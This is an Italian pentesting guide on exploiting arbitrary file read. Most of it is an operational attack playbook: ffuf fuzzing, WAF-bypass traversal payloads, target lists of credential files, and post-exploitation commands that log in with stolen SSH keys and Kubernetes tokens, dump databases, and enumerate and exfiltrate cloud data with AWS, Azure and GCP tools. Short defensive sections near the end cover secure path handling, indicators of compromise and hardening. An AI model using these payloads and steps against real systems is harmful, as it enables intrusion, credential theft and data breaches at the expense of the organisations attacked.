web-hacking

Arbitrary File Read: Exploit, WAF Bypass e Cloud Takeover (Guida Pentesting 2026)

Arbitrary File Read: Exploit, WAF Bypass e Cloud Takeover (Guida Pentesting 2026)

Arbitrary File Read exploit nel pentesting: leggere file sensibili Linux e Windows, bypass WAF, /proc/self/environ, credenziali cloud e escalation a cloud takeover.

  • Pubblicato il 2026-03-05
  • Tempo di lettura: 10 min

Arbitrary File Read — Da Un Parametro URL al Cloud Takeover #

L’Arbitrary File Read è il risultato finale di un Path Traversal o di una LFI riuscita: la capacità di leggere qualsiasi file sul filesystem del server. “Solo lettura” suona innocuo — non è una shell, non è esecuzione di codice. Ma nel 2026, un singolo file letto può dare più accesso di qualsiasi exploit.

/proc/self/environ su un container ECS contiene AWS_SECRET_ACCESS_KEY in chiaro → accesso completo all’infrastruttura cloud. /home/deploy/.ssh/id_rsa è la chiave privata che apre ogni server dell’azienda via SSH. /app/.env è il dump di tutte le credenziali: database, Stripe, SendGrid, Redis. /var/run/secrets/kubernetes.io/serviceaccount/token è il token che controlla l’intero cluster Kubernetes.

Non stai “leggendo un file” — stai aprendo la cassaforte. Il valore dell’Arbitrary File Read dipende interamente da cosa leggi e come lo sfrutti. Questa guida è la mappa operativa: quali file cercare, come trovarli quando il WAF blocca, come trasformare ogni file letto in accesso reale a database, cloud e infrastruttura.

Satellite operativo della guida pillar File & Path Attacks.

Cos’è l’Arbitrary File Read? #

L’Arbitrary File Read è una vulnerabilità in cui l’attaccante sfrutta un Path Traversal, una LFI, una SSRF o un’altra falla per leggere file arbitrari dal filesystem del server. L’impatto non è l’esecuzione di codice ma l’estrazione di segreti — credenziali, chiavi, token — che permettono di escalare verso la compromissione completa dell’infrastruttura.

L’Arbitrary File Read è pericoloso? Estremamente — un solo file può contenere credenziali AWS che danno accesso a un intero ambiente cloud (S3, EC2, Lambda, RDS, Secrets Manager). Il read di /proc/self/environ è il singolo exploit con il rapporto sforzo/impatto più alto nel penetration testing moderno: un parametro URL → cloud takeover completo. Non richiede RCE, non richiede shell — solo lettura. Trovato nel 20% dei pentest web (come risultato di Path Traversal).

Come Verificare — Shodan e Google Dorks #

bash
# Shodan — applicazioni con errori di file esposti
"No such file or directory" "include" port:80,443
"failed to open stream" port:80,443
"java.io.FileNotFoundException" port:80,443

# Google Dorks — endpoint di download
site:target.com inurl:"download" OR inurl:"file" OR inurl:"doc" OR inurl:"export"
site:target.com inurl:"path=" OR inurl:"template=" OR inurl:"page="

# Nuclei
nuclei -u https://target.com -tags lfi,traversal
nuclei -u https://target.com -t exposures/

Fuzzing File Read con ffuf #

Il fuzzing è il primo step operativo: prima di testare manualmente, lancio ffuf per trovare quale parametro è vulnerabile e quale payload funziona.

Fuzz il payload traversal #

bash
# Wordlist Jhaddix — la più completa, 900+ varianti con encoding diversi
ffuf -u "https://target.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -mr "root:x:" \
  -o results.json

# La wordlist contiene:
# ../../../etc/passwd
# ....//....//....//etc/passwd
# ..%2f..%2f..%2fetc/passwd
# ..%252f..%252f..%252fetc/passwd
# ..%c0%af..%c0%afetc/passwd
# etc. (900+ combinazioni)

Fuzz il file target (sai già che il traversal funziona) #

bash
# Hai confermato ../../../etc/passwd → ora leggi file di valore
ffuf -u "https://target.com/download?file=../../../FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
  -mc 200 \
  -fs 0 \
  -o high_value_files.json

# Wordlist custom per file ad alto valore
cat > high_value_files.txt << 'EOF'
etc/passwd
etc/shadow
etc/hosts
etc/hostname
proc/self/environ
proc/self/cmdline
proc/net/tcp
proc/net/arp
proc/1/cgroup
home/deploy/.ssh/id_rsa
home/deploy/.ssh/id_ed25519
home/deploy/.aws/credentials
home/deploy/.bash_history
home/deploy/.mysql_history
root/.ssh/id_rsa
root/.bash_history
root/.my.cnf
var/www/html/.env
var/www/html/config.php
var/www/html/wp-config.php
app/.env
app/config/database.yml
app/settings.py
app/application.properties
app/appsettings.json
app/config/secrets.yml
opt/app/.env
var/run/secrets/kubernetes.io/serviceaccount/token
var/run/secrets/kubernetes.io/serviceaccount/ca.crt
var/run/secrets/kubernetes.io/serviceaccount/namespace
.dockerenv
EOF

ffuf -u "https://target.com/download?file=../../../FUZZ" \
  -w high_value_files.txt \
  -mc 200 \
  -fs 0

Fuzz per trovare QUALE parametro è vulnerabile #

bash
ffuf -u "https://target.com/page?FUZZ=../../../etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 \
  -mr "root:x:"
# Testa file=, path=, page=, doc=, template=, lang=, include=, load=...

Fuzz su POST / JSON (bypass WAF) #

bash
# I WAF spesso non ispezionano il body JSON
ffuf -u "https://target.com/api/v2/files/read" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"path": "FUZZ"}' \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -mr "root:x:"

WAF Bypass per File Read #

Il WAF blocca ../etc/passwd? Queste sono le tecniche che uso per passare:

Encoding Progressivo #

bash
# LIVELLO 1 — URL encode base
..%2f..%2f..%2fetc/passwd

# LIVELLO 2 — Encode dei punti
%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e/%2e%2e/etc/passwd

# LIVELLO 3 — Double encoding
..%252f..%252f..%252fetc%252fpasswd
# %252f → il server decodifica a %2f → il server decodifica di nuovo a /

# LIVELLO 4 — UTF-8 overlong
..%c0%af..%c0%afetc/passwd              # 2-byte overlong di /
..%e0%80%af..%e0%80%afetc/passwd        # 3-byte overlong
..%c1%9c..%c1%9cetc/passwd              # Overlong alternativo

# LIVELLO 5 — Unicode fullwidth
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd    # Fullwidth /

Tecniche Strutturali #

bash
# Bypass strip non ricorsivo di ../
....//....//....//etc/passwd             # Dopo strip → ../../../etc/passwd
....\/....\/etc/passwd                   # Mixed separators

# Tomcat semicolon trick
..;/..;/..;/etc/passwd

# Path prefix (se il filtro verifica che inizi con una directory consentita)
images/../../../etc/passwd
documents/../../../etc/passwd
uploads/../../../etc/passwd

# JSON body (WAF spesso non controlla!)
POST /api/files/read
{"filepath": "../../../etc/passwd"}

# Null byte (PHP < 5.3.4)
../../../etc/passwd%00.pdf

# Path normalization
/var/www/html/../../../etc/passwd
./../../../../etc/passwd

Windows-Specific #

bash
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
..%255c..%255cwindows\win.ini            # Double encode backslash
..;\..\;\..\windows\win.ini             # Semicolon + backslash

Output Reale — Ecco Cosa Trovi Nei File #

Questa sezione mostra l’output esatto che vedi quando leggi i file più preziosi. Questo è il “proof” del pentest — lo screenshot che metti nel report.

/etc/passwd — Conferma e Mappa Utenti #

bash
# Request:
GET /download?file=....//....//....//etc/passwd HTTP/1.1

# Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
postgres:x:26:26:PostgreSQL:/var/lib/postgresql:/bin/bash
deploy:x:1000:1000:Deploy User:/home/deploy:/bin/bash
jenkins:x:1001:1001:Jenkins CI:/home/jenkins:/bin/bash

Cosa ti dice:

  • www-data → web server Apache/Nginx (utente del file read)
  • mysql + postgres → database locali, cerca le credenziali nei config
  • deploy con /bin/bash → utente reale → prova a leggere la sua SSH key
  • jenkins → CI/CD server → potenziale per supply chain attack
  • Ogni utente con /bin/bash è un target per SSH key e bash_history

/proc/self/environ — Il Jackpot Cloud #

bash
# Request:
GET /download?file=../../../proc/self/environ HTTP/1.1

# Response (campi separati da NULL bytes \x00):
HOSTNAME=web-prod-7b4d8f9c
HOME=/home/app
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS_DEFAULT_REGION=eu-west-1
AWS_SESSION_TOKEN=FwoGZXIvYXdzEBYaDH...
DATABASE_URL=postgresql://admin:Pr0d_P@ss!2024@db-prod.internal:5432/appdb
REDIS_URL=redis://:r3d1s_s3cr3t@redis.internal:6379/0
SECRET_KEY=django-insecure-k8s-key-that-nobody-changed-in-3-years
STRIPE_SECRET_KEY=sk_live_51H7wmJKxPnO...
SENDGRID_API_KEY=SG.xxxxx.yyyyy

Cosa ci fai:

  • AWS_ACCESS_KEY_ID + SECRET → cloud takeover (vedi sezione Post-Exploit Cloud)
  • DATABASE_URL → connessione diretta al database di produzione
  • SECRET_KEY → forgia session cookie admin (Django/Flask)
  • STRIPE_SECRET_KEY → accesso live alle API di pagamento
  • HOSTNAME → conferma container/pod (per K8s exploitation)

.env — Credenziali Applicative Complete #

bash
# Request:
GET /download?file=../../../var/www/html/.env HTTP/1.1

# Response:
APP_NAME=MyApp
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:x8K2jP+N3rFqm6Y2jHdB...

DB_CONNECTION=mysql
DB_HOST=10.0.1.50
DB_PORT=3306
DB_DATABASE=myapp_production
DB_USERNAME=myapp_admin
DB_PASSWORD=SuperSecret123!

STRIPE_KEY=pk_live_51H7wmJ...
STRIPE_SECRET=sk_live_51H7wmJ...

MAIL_MAILER=smtp
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.real_production_key

AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalrX...
AWS_BUCKET=myapp-uploads-prod

.ssh/id_rsa — Accesso SSH Diretto #

bash
# Request:
GET /download?file=../../../home/deploy/.ssh/id_rsa HTTP/1.1

# Response:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBDK2VHqHcLsphEj3+qN3SB2+I0VE3Gz2yPjjcLnQmDMQAAAJi8cJpkvH
CaZAAAAAtc3NoLWVkMjU1MTkAAAAgQytlR6h3C7KYRI9/qjd0gdviNFRNxs9sj443C50J
gzEAAAAEKhGmlnFrKWJRb+rQ...
-----END OPENSSH PRIVATE KEY-----
bash
# Salva e usa immediatamente:
echo "-----BEGIN OPENSSH..." > stolen_key
chmod 600 stolen_key
ssh -i stolen_key deploy@target.com
# → Shell interattiva con i privilegi di deploy!

# Poi:
ssh -i stolen_key deploy@10.0.1.50    # Database server
ssh -i stolen_key deploy@10.0.1.100   # CI/CD server
# La stessa chiave spesso funziona su multipli server

Kubernetes Service Account Token #

bash
# Request:
GET /download?file=../../../var/run/secrets/kubernetes.io/serviceaccount/token HTTP/1.1

# Response:
eyJhbGciOiJSUzI1NiIsImtpZCI6IjJ...

# Uso:
export TOKEN=$(cat token)
kubectl --server=https://kubernetes.default.svc --token=$TOKEN \
  --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN get secrets --all-namespaces
kubectl --token=$TOKEN get secrets -o json | grep -i password

Workflow Reale — Dal Parametro Al Compromise #

Questo è il flusso esatto che seguo in ogni pentest quando trovo un file read:

Step 1 → Trova il parametro #

bash
# Burp Suite: filtra per parametri file nel Site Map
# O fuzzing automatico:
ffuf -u "https://target.com/page?FUZZ=test.pdf" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs BASELINE_SIZE

Step 2 → Conferma con /etc/passwd #

bash
?file=../../../etc/passwd
# Bloccato? → encoding:
?file=..%2f..%2f..%2fetc/passwd
?file=....//....//....//etc/passwd
?file=..%252f..%252f..%252fetc%252fpasswd
?file=..%c0%af..%c0%afetc/passwd
# Ancora bloccato? → JSON body, header injection, Tomcat ..;/

Step 3 → Leggi configurazione e .env #

bash
# Prima i file ad alta probabilità:
../../../app/.env
../../../var/www/html/.env
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/settings.py
../../../app/config/database.yml
../../../app/application.properties

# Se non sai il framework → leggi /proc/self/cmdline per il comando del processo
../../../proc/self/cmdline
# Output: python3 -m gunicorn app.wsgi → Django!
# Output: java -jar /app/application.jar → Spring Boot!
# Output: node /app/server.js → Express!

Step 4 → Estrai credenziali #

Ogni file trovato → cerca pattern di credenziali:

bash
# Keyword da cercare nell'output:
password, passwd, secret, key, token, credential, api_key,
access_key, private_key, connection_string, dsn, database_url

Step 5 → Usa le credenziali #

bash
# Database (da .env o config)
mysql -h 10.0.1.50 -u myapp_admin -p'SuperSecret123!' myapp_production
psql "postgresql://admin:Pr0d_P@ss@db.internal:5432/appdb"

# SSH (da .ssh/id_rsa)
ssh -i stolen_key deploy@target.com

# Cloud (da /proc/self/environ o .env) → vedi sezione Post-Exploit Cloud

# Django/Flask admin (da SECRET_KEY)
# Forgia session cookie con la SECRET_KEY → accesso admin senza password

Post-Exploit Cloud — Da File Read a Cloud Takeover #

Quando trovi credenziali AWS/Azure/GCP in /proc/self/environ o .env, questo è il percorso completo di exploitation:

AWS — Il Più Comune #

bash
# === STEP 1: Configura le credenziali ===
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_DEFAULT_REGION="eu-west-1"
# Se hai anche un session token (ECS/Lambda):
export AWS_SESSION_TOKEN="FwoGZXIvYXdz..."

# === STEP 2: Conferma chi sei ===
aws sts get-caller-identity
# Output:
# {
#     "UserId": "AROA3XFRBF23...",
#     "Account": "123456789012",
#     "Arn": "arn:aws:sts::123456789012:assumed-role/web-app-role/i-0abc123"
# }

# === STEP 3: Enumera l'infrastruttura ===
aws s3 ls                              # Lista tutti i bucket S3
aws s3 ls s3://backup-prod-bucket/     # Contenuto del bucket
aws ec2 describe-instances             # Tutti i server EC2
aws rds describe-db-instances          # Database RDS
aws lambda list-functions              # Funzioni Lambda

# === STEP 4: Cerca i segreti ===
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database
# → credenziali RDS in chiaro!

aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
# → tutti i parametri SSM (spesso contengono password)

# === STEP 5: Exfiltration ===
aws s3 sync s3://backup-prod-bucket/ ./exfil/   # Download completo bucket
aws rds create-db-snapshot --db-instance-identifier prod-db --db-snapshot-identifier exfil
# → snapshot del database

# === STEP 6: Privilege escalation (se il ruolo lo permette) ===
aws iam list-attached-role-policies --role-name web-app-role
aws iam list-role-policies --role-name web-app-role
# Se hai iam:PassRole + lambda:CreateFunction → escalation a admin

Azure #

bash
# Se trovi Azure managed identity:
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/"
# → Access token

# Con il token:
az account list
az storage account list
az keyvault list
az keyvault secret list --vault-name prod-vault
az keyvault secret show --vault-name prod-vault --name db-password

GCP #

bash
# Se trovi GCP service account key:
gcloud auth activate-service-account --key-file=stolen-key.json
gcloud projects list
gcloud storage ls
gcloud secrets list
gcloud secrets versions access latest --secret=db-password

Enumerazione Mirata — Adatta i File al Contesto #

Non tutti i server sono uguali. Dopo il primo /etc/passwd, uso le informazioni trovate per mirare la ricerca ai file specifici dell’ambiente.

Se trovi utenti in /etc/passwd #

bash
# Per OGNI utente con /bin/bash (es: deploy, app, jenkins, ubuntu):
../../../home/deploy/.ssh/id_rsa
../../../home/deploy/.ssh/id_ed25519
../../../home/deploy/.ssh/authorized_keys     # Chi può entrare?
../../../home/deploy/.ssh/known_hosts         # Mappa di tutti i server
../../../home/deploy/.bash_history            # Password in comandi passati!
../../../home/deploy/.mysql_history           # Query con password
../../../home/deploy/.psql_history
../../../home/deploy/.aws/credentials         # AWS creds
../../../home/deploy/.aws/config
../../../home/deploy/.gitconfig               # Username, email, token
../../../home/deploy/.npmrc                   # npm token (pubblicazione package)
../../../home/deploy/.docker/config.json      # Docker registry creds

Se sospetti Docker / Container #

bash
# Conferma container:
../../../.dockerenv                           # Se esiste → sei in Docker
../../../proc/1/cgroup                        # Contiene "docker" o "kubepods"

# Docker socket (escape possibile!):
../../../var/run/docker.sock                  # Se leggibile → container escape

# Variabili d'ambiente del container:
../../../proc/self/environ                    # Tutte le env vars iniettate
../../../proc/self/cmdline                    # Comando di avvio del container

Se sospetti Kubernetes #

bash
# Service account token (il premio grande):
../../../var/run/secrets/kubernetes.io/serviceaccount/token
../../../var/run/secrets/kubernetes.io/serviceaccount/ca.crt
../../../var/run/secrets/kubernetes.io/serviceaccount/namespace

# Environment K8s:
../../../proc/self/environ
# Cerca: KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT
# Se presenti → sei in un pod K8s

# Secrets montati come file:
../../../var/run/secrets/               # Directory listing (se LFI)
# I secrets K8s montati come volume sono file leggibili

Se trovi un framework specifico #

bash
# Django (proc/self/cmdline contiene "python" + "django" o "gunicorn"):
../../../app/settings.py
../../../app/local_settings.py
../../../app/config/settings/production.py

# Spring Boot (proc/self/cmdline contiene "java" + ".jar"):
../../../app/application.properties
../../../app/application.yml
../../../app/application-prod.yml
../../../opt/app/BOOT-INF/classes/application.properties

# Laravel (PHP):
../../../var/www/html/.env
../../../var/www/html/storage/logs/laravel.log   # Contiene stack trace con path

# Node.js / Express:
../../../app/.env
../../../app/config/default.json
../../../app/config/production.json

# WordPress:
../../../var/www/html/wp-config.php              # DB creds, AUTH_KEY, SALT

Se cerchi file di backup / log #

bash
# Backup database nella document root (succede più spesso di quanto pensi):
../../../var/www/html/backup.sql
../../../var/www/html/dump.sql
../../../var/www/html/database.sql.gz
../../../var/www/html/db.tar.gz

# Log applicativi con credenziali:
../../../var/log/apache2/error.log               # Stack trace con path e config
../../../var/log/nginx/error.log
../../../var/www/html/storage/logs/laravel.log    # Laravel debug mode = goldmine
../../../tmp/debug.log

🏢 Enterprise Escalation — Percorsi Reali #

File Read → Cloud Takeover (5-15 minuti) #

text
File Read → /proc/self/environ → AWS_ACCESS_KEY_ID + SECRET
→ aws sts get-caller-identity   → conferma accesso
→ aws s3 ls                     → 47 bucket (backup, uploads, logs)
→ aws secretsmanager list-secrets → credenziali RDS, Redis, API esterne
→ aws ec2 describe-instances    → mappa completa infrastruttura
→ COMPROMISSIONE CLOUD TOTALE

File Read → SSH Pivot → Domain Admin (15-60 minuti) #

text
File Read → /home/deploy/.ssh/id_rsa → SSH a web server
→ /home/deploy/.ssh/known_hosts → mappa 20 server interni
→ SSH a 10.0.1.50 (database) → dump DB con dati sensibili
→ SSH a 10.0.1.100 (CI/CD) → Jenkins credentials → LDAP password
→ LDAP → BloodHound → Kerberoasting → Domain Admin

File Read → Database Diretto (5-10 minuti) #

text
File Read → .env → DB_PASSWORD=SuperSecret123!
→ mysql -h 10.0.1.50 -u admin -p'SuperSecret123!' prod_db
→ SELECT * FROM users; → 200.000 record con email, password hash, PII
→ SELECT * FROM orders; → storico transazioni con IBAN
→ DATA BREACH

🔌 Variante API / Microservizi 2026 #

json
// GET classico
GET /api/v2/documents/download?path=../../../proc/self/environ

// JSON body (spesso non controllato dal WAF!)
POST /api/v2/files/read
{"filepath": "../../../proc/self/environ"}

// GraphQL
query { getFile(path: "../../../etc/passwd") { content } }

// Header-based file path
GET /api/v2/export
X-Template-Path: ../../../app/.env

// Path parameter nell'URL
GET /api/v2/files/../../../etc/passwd

// Array notation (parser confusion)
GET /api/v2/files?path[]=../../../etc/passwd

Micro Playbook Reale #

Minuto 0-3 → Identifica parametri file (Burp Site Map / ffuf) Minuto 3-8 → ffuf con LFI-Jhaddix.txt → trova payload funzionante Minuto 8-10 → Conferma con /etc/passwd → identifica utenti Minuto 10-15 → Leggi .env / config → estrai credenziali Minuto 15-20 → Leggi /proc/self/environ → credenziali cloud Minuto 20-25 → Leggi .ssh/id_rsa → accesso SSH diretto Minuto 25-30 → Usa le credenziali trovate → DB dump / aws s3 ls / SSH pivot

Da parametro URL a cloud takeover in 30 minuti.

Caso Studio Concreto #

Settore: Fintech SaaS, 200.000 transazioni, infrastruttura AWS EKS. Scope: Black-box.

Endpoint API /api/v2/docs/download?file=terms.pdf. Il ../../../etc/passwd diretto era bloccato da Cloudflare. Ho provato il JSON body:

bash
POST /api/v2/docs/download
Content-Type: application/json
{"file": "../../../etc/passwd"}

200 OK → root:x:0:0... → il WAF non controllava il body JSON. Utente deploy con /bin/bash. Escalation:

bash
{"file": "../../../proc/self/environ"}
AWS_ACCESS_KEY_ID=AKIA..., AWS_SECRET_ACCESS_KEY=..., DATABASE_URL=postgresql://admin:Pr0d_P@ss@db.internal:5432/fintech_prod

{"file": "../../../home/deploy/.ssh/id_rsa"}
→ Chiave SSH privata

{"file": "../../../var/run/secrets/kubernetes.io/serviceaccount/token"}
→ K8s service account token

Con AWS creds: aws s3 ls → 47 bucket. aws secretsmanager list-secrets → credenziali RDS. Database PostgreSQL: 200.000 transazioni con IBAN, importi, beneficiari. Con K8s token: kubectl get secrets → ogni secret del cluster incluse credenziali di servizi interni.

Tempo dal primo test al cloud takeover: 12 minuti. Root cause: os.path.join() senza os.path.realpath() check, WAF solo su GET params.


Errori Comuni Reali #

1. Path concatenation senza canonicalization

python
# ❌
path = os.path.join(BASE_DIR, user_input)
return send_file(path)  # user_input = "../../../etc/passwd" → esce dalla directory

# ✅
path = os.path.realpath(os.path.join(BASE_DIR, user_input))
if not path.startswith(os.path.realpath(BASE_DIR)):
    abort(403)

2. WAF solo su GET, non su POST/JSON — la causa del 40% dei bypass nel 2026.

3. /proc montato senza restrizioni — nei container Docker, /proc è leggibile di default e contiene variabili d’ambiente con credenziali cloud.

4. Credenziali nelle variabili d’ambiente — best practice cloud che diventa il vettore di attacco #1 se hai file read.

5. SSH key condivisa tra server — una sola key rubata → accesso a tutti i server dell’infrastruttura.


Indicatori di Compromissione (IoC) #

  • ../, ..%2f, %252e%252e, %c0%af nei parametri URL nei log web
  • Accesso a file di sistema (/etc/passwd, /proc/self/environ, /.env) nei log
  • Response di dimensione anomala per endpoint di download (un “PDF” di 200 bytes = /etc/passwd)
  • Sequenze di request dallo stesso IP che testano path diversi sullo stesso parametro
  • Dopo il file read: connessioni AWS/Azure/GCP anomale dallo stesso IP sorgente
  • Comandi aws sts get-caller-identity da IP non aziendali nei CloudTrail logs

✅ Checklist Finale — Arbitrary File Read #

text
DISCOVERY
☐ Identificati tutti i parametri file (GET, POST, JSON, header)
☐ ffuf con LFI-Jhaddix.txt per trovare payload funzionante
☐ Testato sia GET che POST/JSON body

CONFERMA
☐ Letto /etc/passwd (Linux) o win.ini (Windows)
☐ Identificati utenti con /bin/bash

CONFIGURAZIONE & CREDENZIALI
☐ .env / config.php / wp-config.php / settings.py / database.yml
☐ /proc/self/cmdline per identificare il framework

CREDENZIALI CLOUD
☐ /proc/self/environ → AWS/Azure/GCP creds
☐ .aws/credentials per utenti trovati in /etc/passwd
☐ Testato aws sts get-caller-identity con creds trovate
☐ aws s3 ls + aws secretsmanager list-secrets

SSH & ACCESSO REMOTO
☐ .ssh/id_rsa per ogni utente con /bin/bash
☐ .ssh/known_hosts per mappa rete
☐ .ssh/authorized_keys per identificare altri accessi
☐ Testato SSH con chiave rubata

KUBERNETES
☐ /var/run/secrets/kubernetes.io/serviceaccount/token
☐ kubectl get secrets con token rubato
☐ kubectl get pods per mappa cluster

HISTORY & BONUS
☐ .bash_history per password nei comandi
☐ .mysql_history / .psql_history
☐ /var/log/apache2/error.log per stack trace con path
☐ Backup nella document root (backup.sql, dump.sql.gz)

ESCALATION
☐ Credenziali DB usate → dump database
☐ Credenziali cloud usate → enumerazione infrastruttura
☐ SSH key usata → pivot a server interni
☐ K8s token usato → secrets del cluster
☐ SECRET_KEY usato → forgiato session cookie admin

Detection & Hardening #

  • Canonicalize e whitelistrealpath() + verifica che il path inizi con la directory consentita
  • ID numerici, non path?doc=12345 → lookup nel database, mai ?file=path/to/file
  • Non esporre /proc — nei container: --read-only, mount /proc con hidepid=2
  • Secrets management — usa HashiCorp Vault / AWS Secrets Manager, non variabili d’ambiente
  • SSH key rotation — chiavi diverse per ogni server, rotazione periodica
  • WAF su tutti i canali — GET, POST, JSON body, header custom
  • Principio minimo privilegio — il processo web non deve poter leggere .ssh/, .aws/, /etc/shadow

Satellite della Guida Completa File & Path Attacks. Vedi anche: Path Traversal, LFI, Backup Exposure.

Un parametro URL può dare accesso al tuo cloud? Penetration test applicativo HackIta per trovare ogni file read prima degli attaccanti. Da /proc/self/environ al cloud takeover: formazione 1:1.

#lfi #path traversal

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.